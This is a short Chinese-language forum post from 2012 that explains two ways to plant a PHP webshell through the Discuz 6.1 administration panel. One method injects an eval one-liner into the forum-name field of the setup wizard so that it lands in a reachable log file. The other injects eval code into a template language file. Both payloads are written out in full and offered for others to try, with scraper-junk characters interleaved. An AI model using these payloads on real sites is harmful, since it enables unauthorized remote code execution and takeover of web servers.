discuz6.1两种方法后台拿shell
* q% } W0 D, D& d7 o) L$ ?' a好多朋友说discuz6.1后台不会拿shell,在前段时间这些都是说不公布的东西,我发出来给大家测试一下
. w% ]% g. @2 G4 P5 I1 o1:
; m0 ?6 J2 @% s7 i' Mhttp://127.0.0.1/discuz/admincp. ... zard&frames=yes
& |! i- s1 e4 l( }3 C3 J4 e0 p0 dadmincp.php?action=runwizard&frames=yes点击下一步然后再论坛名称的地方插入webshell! n' t5 j( ^' c0 R- ~
<?php eval($_POST[cmd]);?># i% V8 w' f, o) I% q
后台webshell地址：http://127.0.0.1/discuz/forumdata/logs/runwizardlog.php4 H- R) k- V' i' E3 n; G% V
& I! a/ Y f' Y: K4 r
\+ u/ y6 y0 i! f/ x2:后台模板管理--默认模板套系--详情
. F) `4 I& `) N8 C# e* y% ntemplates/default/actions.lang.php( L8 b2 A, o q" C5 V; X# ^
jhackj\\');eval($_POST[cmd])?>;//
8 j- Z6 T0 h' w- f* N+ L! R
* p) {2 x% g" h0 D9 L; C3 |利用很简单,聪明的人一看就懂了 |
发表于 2012-9-13 16:59:17
收藏
支持
反对